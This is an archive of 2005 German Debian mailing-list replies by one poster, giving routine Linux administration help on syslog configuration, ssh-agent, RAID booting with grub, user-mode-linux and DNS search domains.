 Option zu geben, meine syslogd.conf scheint erst ab info zu loggen -
 wobei ich sagen muss, dass ich die Syntax für syslogd.conf (s.u.) noch
 nicht ganz kapiert habe (was bedeutet bspw. das - bei
 -/var/log/sylog?).

Das vorangestellte Minus deaktiviert das standardmäßige, synchrone
Schreiben für dieses Ziel. Logs für dieses Ziel können also asynchron,
d.h. gepuffert und ressourcenschonend bei Gelegenheit weggeschrieben
werden. Spart Disk-I/O, mitunter können Dir aber bei einem Servercrash
Logeinträge flöten gehen. 

Deshalb werden die wirklich wichtigen Informationen immer synchron
geschrieben.

 Kann mir jemand sagen was ich ändern muss?

Schau Dir einfach an, mit welchen Zeilen überhaupt in die von Dir
genannten Dateien (mail.log, syslog) geloggt wird. Damit reduziert sich
das ganze auf ein Minimum.

 *.*;auth,authpriv.none  -/var/log/syslog

Hier werden Nachrichten aus allen Facilities und jeder Severity außer
jegliche Nachrichten aus auth und authpriv (auth,authpriv.none ist
gleichbedeutend mit auth.none;authpriv.none) in die Datei syslog
geschrieben. 

Damit landen dort auch Nachrichten aus mail.debug, was Du ja nicht haben
möchtest. Daher ändere das beispielswese ab zu

*.*;auth,authpriv,mail.none  -/var/log/syslog

mail.xy wird ja bereits zuhauf in andere Dateien geloggt, da brauchts das
in syslog nicht auch noch.

 mail.*  -/var/log/mail.log

Die Selektion links auf mail.info abändern, oder aber gleich ganz
auskommentieren, da ja bereits eine entsprechende .info-Regel mit
/var/log/mail.info als Ziel existiert.

- sebastian



Re: noatime ständi g in fstab?

2005-08-25 Diskussionsfäden Sebastian Kayser
* Dirk Salva [EMAIL PROTECTED] wrote:

 knappe Frage:
 was macht der Parameter noatime genau, ...

Bei einem Zugriff auf Dateien eines mit noatime gemounteten Dateisystems
wird deren atime im inode nicht aktualisiert. D.h. normalerweise muss
bei jedem lesenden Dateizugriff die atime der gelesenen Datei geändert
werden, was speziell bei vielen kleinen zu lesenden Dateien Zeit kostet.

 ... und kann ich den aufm Läppi dauerhaft und für alle Partitionen in
 der fstab stehen haben? Bringt das überhaupt was?

Ich mach das nur bei Dateisystemen für Dienste die definitiv nicht mit
der atime arbeiten (z.B. beim squid cache dir). Einen objektiven
Messungsnachweis, dass damit bemerkbar was erreicht wird habe ich bisher
noch nicht gemacht (Asche auf mein Haupt...).

Auf Deinem Notebook und allen Parititionen ist mir nicht klar, ob
a) alle Deine Anwendungen überhaupt mitspielen (gibts evtl. welche die
mit der atime arbeiten?)
b) der Benefit gegeben ist (evtl. bei nem grossen Maildir in Deinem Home
o.ä.)

- sebastian



ssh-agent und gnome-terminal

2005-08-24 Diskussionsfäden Sebastian Kayser
Hallo,

ich habe mir hier mangels Kenntnis von Alternativen zur
SSH-Pubkey-Authentifizierung eine .bashrc-Lösung für meinen ssh-agent
geschustert.

Ich arbeite unter gnome und starte zu Beginn meiner Sitzung einmal ein
gnome-terminal, in dem ich 

eval `ssh-agent`

aufrufe. Für alle weiteren gnome-terminals die ich dann unabhängig von
diesem über mein Panel bzw. ein Tastenkürzel starte, habe ich in der
.bashrc

export SSH_AUTH_SOCK=`find /tmp/ssh-* -uid $UID -name agent.* 21 | 
head -1 `
export SSH_AGENT_PID=${SSH_AUTH_SOCK##*.}

hinterlegt.

Wenn ich nun ein gnome-terminal starte und dort manuell eine SSH-Sitzung
zu Rechnern aufbaue, auf denen mein Schlüssel hinterlegt ist, funktioniert
das einwandfrei.

Wenn ich jedoch das gnome-terminal über einen kleinen Wrapper [1] aufrufe 
der im Endeffekt ein gnome-terminal mit der Option -x und dem ssh-Befehl
aufruft, dann wird die .bashrc anscheined nicht verarbeitet und damit
fehlen leider die notwendigen SSH_-Umgebungsvariablen (Auch wenn ich im
Profil des Terminals Befehl als Login-Shell starten aktiviere).

Irgendwelche Ideen, wo man da was drehen bzw. das evtl. ganz anders
aufziehen kann, so dass ich meinen Wrapper mit funktionierender
SSH-Authentifizierung benutzen kann?  Das gnome-terminal sollte bleiben,
damit kann ich für meine Kollegen älteren Semesters so schön kurzfristig
per STRG + '+' die Font-Größe auf ein erkennbares Maß erhöhen ;) Mit
xfce4-terminal gibt es in geschildertem Konstrukt kein Problem (bis auf
das fehlende STRG + '+'), d.h. dort wird die .bashrc gesourced.

- sebastian

[1] Wrapper = Xdialog, in dem ich meinen Zielhost eingebe, dann ggf. um
User-/Domainangaben ergänze um wiederum schlussendlich ein 

$GTERM -t $host -x luit -encoding 'ISO 8859-15' ssh -C -A -X $host

zu machen.



Re: ssh-agent und gnome-terminal

2005-08-24 Diskussionsfäden Sebastian Kayser
On Mi, Aug 24, 2005 at 12:55:00 +0200, Werner Zacherl wrote:
 Am Wednesday, 24. August 2005 12:25 schrieb Sebastian Kayser:
  Hallo,
 
  ich habe mir hier mangels Kenntnis von Alternativen zur
  SSH-Pubkey-Authentifizierung eine .bashrc-Lösung für meinen ssh-agent
  geschustert.
 
 für Dein anderes Problem kann ich zwar nicht helfen, aber schau doch mal 
 diese Seite an
  http://www.debianhowto.de/de:howtos:woody:ssh
 
 damit hab sogar ich es geschafft.

Nur geht es bei mir lediglich um einen speziellen Anwendungsfall
(ssh-agent + Gnome/gnome-terminal) auf der Client-Seite und nicht um die
Serverkonfiguration wie unter obiger URL beschrieben. 

Die Pubkey-Authentifizierung an sich (d.h. auch die Serverkonfiguration)
funktionieren einwandfrei. Nur die Integration des ssh-agent in meine
Gnome-Sitzung und deren gnome-terminals (bzw. die Interaktion des
gnome-terminals mit meinem derzeitigen .bashrc-Konstrukt) wirft bei mir
Fragen auf.

- sebastian



Re: ssh-agent und gnome-terminal

2005-08-24 Diskussionsfäden Sebastian Kayser
On Wed, Aug 24, 2005 at 13:28:45 +0200, Frank Küster wrote:
 Die Alternative ist allerdings schon eingebaut: Per default werden
 Xsessions in Debian als Kinder eines ssh-agent-Prozesses gestartet
 (use-ssh-agent in /etc/X11/Xsession.options); ich hoffe mal dass auch
 gdm sich daran hält.  Dann brauchst du nur in einer beliebigen Shell
 unter X ssh-add aufzurufen, und es funktioniert.

Danke für den Tipp, hatte doch gehofft, dass es diesbzgl. etwas
Intuitiveres gibt. Ich verwende hier auf dem Client Ubuntu 5.04 und im
Xsession-Skript für gdm und seinen div. Subskripts wird von Haus aus
kein use-ssh-agent ausgewertet. Das habe ich jetzt bei mir angepasst.

  export SSH_AUTH_SOCK=`find /tmp/ssh-* -uid $UID -name agent.* 21 | 
  head -1 `
  export SSH_AGENT_PID=${SSH_AUTH_SOCK##*.}
 
 :-(

Schon klar ;). Hat - wenn auch begrenzt - für meine anfänglichen
Bedürfnisse ausgereicht.

  Wenn ich jedoch das gnome-terminal über einen kleinen Wrapper [1] aufrufe 
  der im Endeffekt ein gnome-terminal mit der Option -x und dem ssh-Befehl
  aufruft, dann wird die .bashrc anscheined nicht verarbeitet und damit
  fehlen leider die notwendigen SSH_-Umgebungsvariablen (Auch wenn ich im
  Profil des Terminals Befehl als Login-Shell starten aktiviere).
 
 Das ist klar, denn da sind zwei Shells aktiv:  Die eine, die den wrapper
 abarbeitet, und die ist keine login-Shell, und die zweite, die dann im
 Gnome-Terminal gestartet wird (und als erstes ssh aufruft).  Nur die
 zweite hast du zur login-Shell gemacht.  Die erste bräuchte aber deinen
 key... 

Wenn auch jetzt nebensächlich, ist mir das nicht ganz klar. Mein Wrapper
in der ersten Shell baut doch lediglich den Aufruf für das
Gnome-Terminal mit ssh  Co zusammen. Wozu bräuchte die Shell mit dem
Wrapper dann einen key, wenn doch ssh selbst erst in der zweiten Shell
(die dann eine login-Shell mit den key-Informationen sein sollte)
aufgerufen wird?

 Du kannst den Wrapper natürlich mit #!/bin/bash -l starten.  Aber ich
 würde es einfach über den sowieso laufenden ssh-agenten machen.

Ja, die Variante mit ssh-agent per gdm hat es getan. Besten Dank.

- sebastian



Re: wget mit in- und out-file

2005-08-23 Diskussionsfäden Sebastian Kayser
On Tue, Aug 23, 2005 at 12:52:02AM +0200, Werner Mahr wrote:
 ich bin gerade ein bisschen mit basename am spielen, da kommt vielleicht 
 was universelleres bei raus. Kann man das irgendwie hinbekommen, das 
 die Datei 001 heißt, und nicht nur 1? Ich hätte schon gerne die 
 ursprüngliche Reihenfolge behalten.

Dafür kannst Du printf verwenden. 

printf %03d 1

- sebastian



Re: Probleme beim kompilieren des mplayers

2005-08-23 Diskussionsfäden Sebastian Kayser
On Di, Aug 23, 2005 at 10:43:23 +0200, Christoph Grzeschik wrote:
 Ich habe mir den SourceCode vom MPlayer gezogen. Wenn ich ./configure
 eingebe erhalt ich folgende Fehlermeldung
 
 Error:Cannot find header either inttypes.h or bitypes.h
 
 Was ist hier falsch?

Dir fehlen offensichtlich die Header der C library. Hast Du das Paket
libc6-dev installiert?

apt-file 
bzw.
http://www.debian.de/distrib/packages#search_contents

sollten Dir prinzipiell helfen, wenn fehlende Dateien angemeckert
werden. Dort findest Du dann den Namen des/der Debian-Paket(e) in
dem/denen die Dateien zu finden sind.

Wenn Dir tatsächlich die libc6-dev fehlt, dann werden Dir sicherlich
noch ein paar mehr lib*-devs fehlen.

- sebastian



Re: ssh 20 sec Pause beim Login

2005-08-22 Diskussionsfäden Sebastian Kayser
Meinrad Schwamborn wrote:
 beim ssh Login per Putty (Version 0.57) auf eine Debian Linux Box habe ich
 eine
 ca. 20 sekuendige Pause zwischen der Eingabe des Loginnamens und der Anzeige
 des Password Prompts.

 [ ... jede Menge debug ... ]

Normalerweise taucht genau dieses Phänomen auf, wenn der Linux-Rechner
auf dem sshd läuft, die IP des zugreifenden Clients nicht rückwärts
auflösen kann. Daher:

-- Schuss-Ins-Blaue --

Kannst Du den PC von dem aus der Zugriff per puTTY erfolgt, vom
Linux-Rechner aus rückwärts auflösen?!

Teste mal ein

dig -x ip_des_pcs_mit_putty

vom Linux-Rechner aus.

-- /Schuss-Ins-Blaue --

Wenn dem so ist, d.h. die IP ist nicht auflösbar, entweder

a) dafür sorgen, dass die IP rückwärts auflösbar ist (DNS, hosts, ...)
b) den sshd mit der Option -u0 starten (/etc/defaults/sshd)

Dann klappt's auch mit dem Login schneller.

- sebastian



Re: Kernel 2.6.13-rc6 - Probleme mit net/netlink/af_netlink.o

2005-08-19 Diskussionsfäden Sebastian Kayser
On Fr, Aug 19, 2005 at 11:38:46 +0200, Martin Müller wrote:

 Zur Info: Weil ich hier so eine außerirdische Konfiguration mit einem ITEC
 IT8212F Raid-Kontroller habe, brauche ich den 2.6.13 weil dann nicht mehr
 extra gepacht werden muss.
 
 Also hab ich mir die Sourcen von 2.6.12.5 gezogen und auf patch-2.6.13-rc6
 gepatcht. Die Konfig gemacht und, leider, nun ein Problem beim Kompilieren.

Inwiefern das mit Deinem Problem zu tun hat, kann ich Dir nicht sagen,
aber die Prepatches sind prinzipiell nur für die vollen Releases
gedacht.

D.h. Du solltest auf jeden Fall gegen 2.6.12 und nicht 2.6.12.5 patchen.

Siehe:

http://kernel.org/patchtypes/pre.html

- sebastian



Re: SATA - RAID

2005-08-19 Diskussionsfäden Sebastian Kayser
On Fr, Aug 19, 2005 at 02:16:42 +0200, Florian Schnabel wrote:

 1) was muss ich machen das ich booten kann, egal welche platte ausfällt ?
 bzw. wie installiere ich grub auf der 2. platte ?

Siehe Booting off raid1

http://deb.riseup.net/storage/software-raid/

Insofern die 2. Platte den Gang über den Jordan macht, tut das dem
Booten keinen Abbruch. Um jedoch auch beim Ausfall der 1. Platte booten
zu können brauchst Du 

a) einen installierten grub im MBR der 2. Platte
b) bei der manuellen Instalation des grub im MBR der 2. Platte eine
kurzzeitig geänderte Geräte-Zuordnung für grub

Also von der Commandline die grub Konsole aufrufen

# grub
grub device (hd0) /dev/sdb
grub root (hd0,0)
grub setup (hd0) 

wobei sdb durch den Device-Namen Deiner 2. Platte zu ersetzen ist.

 2) bei einem test (stecker ziehen im laufenden betrieb .. is ja sata ..) 
 ist der rechner unterm strich abgestürzt.

Mit was für Symptomen / Meldungen bzw. was ging nicht mehr?

 leigt das daran das ich swap auch gespiegelt habe oder muss cih da noch 
 was besonderes machen ?
 hätte gerne das der rechner mit einer platte erstmal normal wweiter läuft

swap zu spiegeln ist völlig legitim. Lediglich von der Praxis auf beiden
Platten einen swap-Bereich gleicher Prio zu haben (also ohne Spiegel für
die swap Partition), was angeblich ebenso ausfallsicher sein soll, bin
ich nicht recht überzeugt.

Im Regelfall sollte Dein Software-RAID einen Plattenausfall einwandfrei
abfedern. Andere Frage: Ist Dein SATA-Chipsatz überhaupt hotplug-fähig,
so dass Du einfach eine Platte ziehen kannst (SATA heisst ja nicht per
se hotplug-fähig)?!

- sebastian



Re: user-mode-linux in Sarge - suche einfaches Howto

2005-08-19 Diskussionsfäden Sebastian Kayser
On Fr, Aug 19, 2005 at 03:09:29 +0200, nullman wrote:
 Hallo *,

Hallo nullmann, 

ist das Dein Realname? 
 
 Nachdem in Sarge ja leider kein Paket mehr für User-Mode-Linux
 enthalten ist suche ich nach  dem einfachsten Weg das zu installieren.
 
 Kennt einer ein gutes Howto hierfür ?

Mit einer einfachem Installations-Howto für sarge kann ich nicht dienen,
aber generell fand ich folgende Links recht brauchbar

http://www.user-mode-linux.org/~blaisorblade/
http://uml.openconsultancy.com/
http://deb.riseup.net/miscellaneous/uml/

Bezieht sich jedoch eher auf Inbetriebnahme und Handhabung als auf
fertige sarge Pakete ;)

 Ich möchte mir möglichst viel Handarbeit sparen und suche bestenfalls
 ein Debian-Paket (evtl. auch gleich den passend gepatchen Host-Kernel
 (skas usw ..)) das ich einfach nur installieren brauche.
 
 klar könnte ich mir die Sourcen ziehen und selbst das kompilieren,
 kernel-patchen usw .. .. geht alles .. aber ich bin weniger
 masochistisch veranlagt und eher der bequeme Typ ;-)

Ist doch weniger schmerzhaft als gedacht. Den -skas Patch für Deinen
Host-Kernel benötigst Du nur, wenn es Dir wirklich auf Performance
ankommt. Für ein wenig Testen o.ä. reicht ein ungepatchter
Standardkernel. Ansonsten ist UML ja seit 2.6.9 (?!) recht uptodate im
offiziellen Kernel enthalten, also musst Du streng genommen selbst für
einen Guest-Kernel keinen Patch mehr anwenden (auch wenn sich die -bs
Patches anbieten).

Ansonsten beim Bauen des Guest-Kernels immer schön auf ARCH=um achten.
Beim menuconfig musst Du noch ein paar essentielle Optionen aktivieren
(CONFIG_BLK_DEV_UBD und die character devices für die Konsolen, da haben
die im 2.6er Kernel irgendwie geschludert) und ratz-fatz hast Du Dein
UML ./linux. Das kannst Du dann wohin auch immer kopieren und von dort
damit arbeiten. Aus die Maus.

Ich habe das kürzlich mit einem 2.6.12.4 getan. Die uml-utilities habe
ich noch von sarge beibehalten. Läuft einwandfrei.

- sebastian



Re: DNS und Search-Domain

2005-08-18 Diskussionsfäden Sebastian Kayser
On Do, Aug 18, 2005 at 12:44:40 +, Mick wrote:

 Ich kann lokale Namen nur auflösen, wenn ich die Domain mitangebe. Es
 sollte doch möglich sein, Namen innerhalb der eigenen Domain auch ohnen
 Domain-Angabe aufzulösen.
 
 Ich habe lokal bind9 als DNS installiert.
 $ hostname -f liefert mir foo.bar.
 $ dig foo.bar liefert mir eine Antwort mit der richtigen IP.
 $ dig foo liefer aber keine Antwort.
 
 Auch wenn ich domain bar und search bar in /etc/resolf.conf
 eintrage, ändert sich das nicht.

Das liegt daran, dass dig standardmäßig evtl. vorhandene search Suffixe
nicht auswertet, sondern den übergebenen Hostnamen direkt bei den in
resolv.conf hinterlegten oder dem per @host übergebenen DNS-Server
anfragt. Und der kann mit der unqualifizierten Frage nach 'foo'
natürlich herzlich wenig anfangen.

Versuchs mal z.B. mit ping foo, dabei kommt die search Liste ins Spiel
und foo sollte aufgelöst werden können.

[ [EMAIL PROTECTED] ~ ]$ hostname --domain
planet.home
[ [EMAIL PROTECTED] ~ ]$ head /etc/resolv.conf
search planet.home
nameserver 127.0.0.1
[ [EMAIL PROTECTED] ~ ]$ dig gw +short
[ [EMAIL PROTECTED] ~ ]$ dig gw.planet.home +short
192.168.2.1
[ [EMAIL PROTECTED] ~ ]$ ping gw
PING gw.planet.home (192.168.2.1): 56 data bytes
64 bytes from 192.168.2.1: icmp_seq=0 ttl=255 time=0.5 ms
64 bytes from 192.168.2.1: icmp_seq=1 ttl=255 time=0.4 ms

--- gw.planet.home ping statistics ---
2 packets transmitted, 2 packets received, 0% packet loss
round-trip min/avg/max = 0.4/0.4/0.5 ms
[ [EMAIL PROTECTED] ~ ]$

Vereinfacht gesagt sollten alle Programme mit denen Du als Client auf
etwas zugreifst mit einfachen Hostnamen und der search Liste arbeiten.
Ein Tool wie dig, mit dem Du nach allen Regeln der Kunst DNS Abfragen
fahren kannst, möchte jedoch genau wissen, wonach Du suchst bzw. wie Du
suchen möchtest.

[ [EMAIL PROTECTED] ~ ]$ dig gw +short +search
192.168.2.1
[ [EMAIL PROTECTED] ~ ]$

Siehe: man dig.

 Kann es daran liegen, dass meine Domain keinen Punkt hat - also bar
 statt bar.lokal?

Gute Frage, sowas habe ich noch nicht fabriziert ;)

- sebastian



Re: Kernel-Source 2.6.11-k7

2005-08-18 Diskussionsfäden Sebastian Kayser
On Do, Aug 18, 2005 at 04:45:06 +0200, Andreas Pakulat wrote:

 (PS: apt-cache search kernel-headers-2.6.11 | grep k7 waer ne bessere
 Suche als die die du gemacht hast)

Auch wenns nichts zum Thema beiträgt, der Vorschlag ging ja eh
daneben...

Gibts eigentlich 'nen Most useless use of grep-Award? ;)

apt-cache search kernel-headers-2.6.11 k7

SCNR

- sebastian